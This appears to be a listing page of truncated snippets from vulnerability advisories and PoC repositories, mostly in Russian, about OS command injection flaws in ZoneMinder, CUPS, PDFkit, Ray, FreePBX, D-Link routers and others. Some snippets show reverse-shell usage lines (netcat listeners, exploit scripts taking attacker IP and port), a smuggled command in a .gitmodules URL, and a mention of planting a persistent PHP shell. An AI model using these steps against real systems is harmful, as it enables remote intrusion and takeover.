CVE-2023-2636

CVE-2023-2636...

CVE-2023-51385_test

Верификация CVE-2023-51385 Сначала необходимо добавить следующее в /.ssh/config 主机 .example.com ProxyCommand /usr/bin/nc -X connect -x 192.0.2.0:8080 %h %p В файле .gitmodules в строке присутствует инъекция команд url = ssh://echo helloworld cve.txtfoo.example.com/bar После настройки выполните...

CVE-2025-65791

CVE-2025-65791 — Внедрение команд в ZoneMinder Обзор Критическая уязвимость типа Command Injection существует в ZoneMinder v1.36.34 из-за неправильной проверки ввода в компоненте web/views/image.php. Несанитизированный ввод, контролируемый пользователем, передается напрямую в PHP-функцию exec, чт...

CVE-2023-33869-RCE-PoC

Центр энергетической безопасности и надежности — UNC Charlotte CVE-2023-33869 — это уязвимость внедрения команд, затрагивающая прошивку Enphase Envoy версии D7.0.88. Эта уязвимость позволяет злоумышленнику внедрять и выполнять произвольные команды с привилегиями root на затронутом устройстве...

CVE-2022-25765

CVE-2022-25765 Эксплойт Небольшой PoC-эксплойт для CVE-2022-25765, PDFkit-CMD-Injection Использование 1. Запустите netcat-слушатель на вашей атакующей машине: nc -lvnp 4444 2. Запустите эксплойт: python cve-2022-25765.py -t http://TARGETIP:PORT -l YOURIP -p YOURPORT Пример: python cve-2022-25765....

CVE-2020-12124

Анатомия IoT-эксплойта: от практического доступа до удаленного выполнения кода изначально на https://www.klogixsecurity.com/scorpion-labs-blog/anatomy-of-an-iot-exploit-from-hands-on-to-rce автор: David E. Baker, опубликовано 1 июня 2023 года Предисловие Данное исследование касается прошивки...

CVE-2025-55182-Exploit

React2Shell CVE-2025-55182 - Уязвимая лаборатория Docker Преднамеренно уязвимое Next.js-приложение, демонстрирующее удалённое выполнение кода RCE через небезопасную обработку дочерних процессов. Эта лаборатория предназначена для образовательных целей и тестирования безопасности. ⚠️ ПРЕДУПРЕЖДЕНИЕ:...

Cups-RCE-Exploit

CUPS RCE Exploit - CVE-2024-47176 Chain Что это такое Полнофункциональный proof-of-concept эксплойт, нацеленный на цепочку уязвимостей удаленного выполнения кода в CUPS Common Unix Printing System, обнаруженную в сентябре 2024 года. Цепочка состоит из четырех CVE — CVE-2024-47176, CVE-2024-47076,...

CVE-2026-67599_ClearOS_RCE

Инъекция команд ОС в параметр фильтра Log Viewer Пакет: ClearFoundation Протестированные версии: ClearOS 7.9.1.342252 Тип уязвимости: OS Command Injection CWE-78 Серьёзность: Высокая CVE : CVE-2026-67599 Вектор CVSS v3.1: CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H Оценка: 7.2 Спасибо VulnCheck ...

CVE-2026-35585-poc

CVE-2026-35585: Эксплойт PoC OS Command Injection в File Browser English version Обзор Этот репозиторий содержит Proof of Concept PoC для критической уязвимости OS Command Injection CVE-2026-35585 , обнаруженной в File Browser версии с 2.0.0 по 2.33.1. Уязвимость находится в функционале...

CVE-2025-69212-PoC

CVE-2025-69212 - PoC внедрения команд OS в OpenSTAManager Использование Установка зависимостей: pip install -r requirements.txt Выполнить одну команду и вывести результат: python3 cve-2025-69212poc.py -u http://target.com -U admin -P 'password' -c 'id' Разместить постоянную PHP-оболочку: python3...

CVE-2026-40176

CVE-2026-40176 — Внедрение команд в драйвере Perforce Composer Proof of Concept Автономное, объектно-ориентированное PHP-подтверждение концепции, которое демонстрирует и дифференциально проверяет уязвимость внедрения команд в драйвере репозитория Perforce для Composer. PoC запускает один и тот же...

CVE-2023-28354

CVE-2023-28354 취약점 설명 Opsview Monitor Agent 6.8에서 인증되지 않은 원격 공격자가 임의의 명령을 실행할 수 있는 취약점이 확인되었습니다. 인증되지 않은 공격자는 Windows에서 기본 Opsview Agent Monitor 스크립트를 호출할 때 명령줄 이스케이프 시퀀스를 제공하여 이 취약점을 악용할 수 있으며, 이를 통해 임의의 시스템 명령 실행이 가능합니다. 설명 Windows의 Opsview Agent 서비스는 기본적으로 Local System 계정으로 실행됩니다. 이 기본 구성에는 여러...

FreePBX >= 17.0.2.36 && < 17.0.3 - Authenticated Command Injection

FreePBX Endpoint Manager 17.0.2.36 to = 17.0.2.36 && 17.0.3 - Authenticated Command Injection author: th3y severity: critical description: | FreePBX Endpoint Manager 17.0.2.36 to 17.0.3 contains a command injection caused by improper sanitization in filestore module's testconnection checksshconne...

Apache Kylin 3.0.1 - Command Injection Vulnerability

Apache Kylin 2.3.0, and releases up to 2.6.5 and 3.0.1 has some restful apis which will concatenate os command with the user input string, a user is likely to be able to execute any os command without any protection or validation. id: CVE-2020-1956 info: name: Apache Kylin 3.0.1 - Command Injecti...

D-Link - Unauthenticated Remote Code Execution

OS command injection vulnerability in soap.cgi soapcgimain in cgibin in D-Link DIR-880L DIR-880LREVAFIRMWAREPATCH1.08B04 and previous versions, DIR-868L DIR868LA1FW112b04 and previous versions, DIR-65L DIR-865LREVAFIRMWAREPATCH1.08.B01 and previous versions, and DIR-860L DIR860LA1FW110b04 and...

CVE-2023-6019

Внедрение команд ОС Ray RCEбез авторизации Использование: 1. nc -lvnp 4444 2. python3 cve-2023-6019.py -t 192.168.1.13 -p 80 -L 192.168.1.14 -P 80...

EUVD-2026-91838

PeaZip before 11.3.0, in a non-default configuration, is vulnerable to OS command injection via a filename in an archive because "quotation character already used in the string" is mishandled...

CVE-2026-105105: Missing Authentication for Critical Function

CWE-306: Missing Authentication for Critical Function in the ait.core.server telemetry and command broker ait-server in NASA-AMMOS AIT-Core through 3.1.1 allows an unauthenticated remote attacker with network access to the ZeroMQ message bus to inject spacecraft command data, exfiltrate command a...

PT-2026-104572

Name of the Vulnerable Software and Affected Versions NASA-AMMOS AIT-Core versions prior to 3.1.2 Description The ait.core.server telemetry and command broker ait-server lacks authentication for critical functions. By default, the ZeroMQ message bus binds its XSUB and XPUB sockets to all network...